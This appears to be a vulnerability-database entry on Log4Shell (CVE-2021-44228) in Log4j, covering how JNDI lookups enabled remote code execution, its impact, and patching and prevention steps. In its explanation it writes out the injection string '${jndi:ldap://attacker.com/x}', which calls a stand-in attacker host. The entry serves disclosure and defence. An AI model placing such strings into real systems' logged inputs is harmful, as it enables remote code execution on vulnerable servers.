All vulnerabilities
CRITICALInfraexploited in the wildcurated

CVE-2021-44228

Maven · org.ops4j.pax.logging:pax-logging-log4j2

Summary

Log4Shell, disclosed on 10 December 2021, was for a time the most dangerous vulnerability on the internet. It lived in Log4j, an Apache logging library so ubiquitous that it sat, usually invisibly, inside millions of Java applications, from enterprise servers to Minecraft to iCloud. The flaw was almost absurdly easy to trigger: if an attacker could get a crafted string like ${jndi:ldap://...} written into a log, a username, a chat message, a header, the server would reach out, fetch attacker-controlled code, and run it, giving full unauthenticated remote code execution. Because logging untrusted input is something nearly every application does, exploitation was trivial and everywhere. Within hours the entire internet was being mass-scanned, and defenders spent a frantic holiday season patching a dependency many did not even know they had. It is the defining example of why you must know, and be able to fix, every component buried in your software.

How it worked

Log4j had a feature where a log message could contain a "lookup", a ${...} expression that Log4j would evaluate as it logged. One of those lookups used JNDI (Java Naming and Directory Interface), a mechanism that can fetch a Java object from a remote server. Put the two together and you have a catastrophe. An attacker writes ${jndi:ldap://attacker.com/x} into anything that will be logged; Log4j dutifully evaluates it, connects out to the attacker's server, downloads a malicious Java class, and runs it. That is unauthenticated remote code execution from a single line of text.

What made it apocalyptic was where that text could come from: literally any untrusted input an application logs. A login form, an HTTP User-Agent header, an email subject, a chat message. The most famous proof was Minecraft, where typing the string into the in-game chat ran code on the server. And patching was a nightmare, because Log4j was almost never something you imported on purpose. It was a transitive dependency, bundled three layers deep inside frameworks and shipped inside network appliances, so you could not fix what you did not know you were running. The feature that made it all possible, JNDI lookups inside log messages, had been added back in 2013 and sat unnoticed for eight years.

The damage

Log4Shell affected an estimated hundreds of millions of applications and devices. Evidence of scanning predates the 10 December public disclosure, so it behaved as a zero-day, though the US Cyber Safety Review Board later found no proof that China, where the bug was first reported to Apache, had exploited its early knowledge. Within hours of disclosure the internet was being mass-scanned, with attackers dropping coin miners, the Mirai and Muhstik botnets, Cobalt Strike, and ransomware. The cleanup dragged: the first fix (version 2.15.0) was incomplete, and it took three more CVEs and four releases to fully close the hole (2.17.1). Yet the Cyber Safety Review Board, in its very first report, reached a surprising verdict: it found no significant Log4j attacks on critical infrastructure, exploitation "at lower levels than many experts predicted," and called it an "endemic vulnerability" likely to be exploited for a decade. The lasting cost was the global scramble, not a wave of catastrophic breaches, and years later millions of vulnerable Log4j versions are still being downloaded.

Why Log4Shell still matters

Log4Shell is the Equifax lesson at internet scale: you cannot defend a dependency you do not know you are running. The bug itself was bad, but the real crisis was that organisations had no idea where Log4j lived in their stack, because it was transitive, bundled, and embedded. That is the entire argument for a software bill of materials and continuous dependency scanning (SCA): when the next Log4Shell lands, the difference between patching in hours and patching in months is simply knowing your own inventory. It is also the argument for reachability, knowing whether the vulnerable code path is actually invoked, so you can triage real exposure first instead of patching blindly across thousands of services.

How to fix it

  • Upgrade Log4j to 2.17.1 or later; the original Log4Shell was fixed in 2.15.0, but 2.17.1 is the version that closes all four related CVEs. Confirm every instance, including copies bundled inside other software and appliances.
  • Where you cannot upgrade immediately, remove the JndiLookup class from the classpath and block outbound LDAP and RMI from servers with no reason to make those connections.
  • Inventory your whole stack for Log4j with dependency scanning, including transitive and embedded copies; the version you import directly is rarely the only one.
  • Hunt for exploitation: look for JNDI lookup strings in logs and unexpected outbound connections, and treat any hit as a potential compromise.

How to avoid it

  • Maintain a software bill of materials and scan dependencies continuously, so a critical flaw in a component like Log4j is found in hours, not weeks.
  • Keep a fast, tracked remediation SLA for critical, internet-facing vulnerabilities, and rehearse it before you need it.
  • Restrict what your servers can do: do not let application servers make arbitrary outbound connections, which is what turns a log injection into code execution.
  • Treat "we log untrusted input" as the default and never evaluate or interpret that input; disable powerful templating or lookup features you do not need.
  • Track reachability, so you can fix the components that are actually invoked first instead of patching everything blindly under pressure.

References

Related vulnerabilities

All Infra →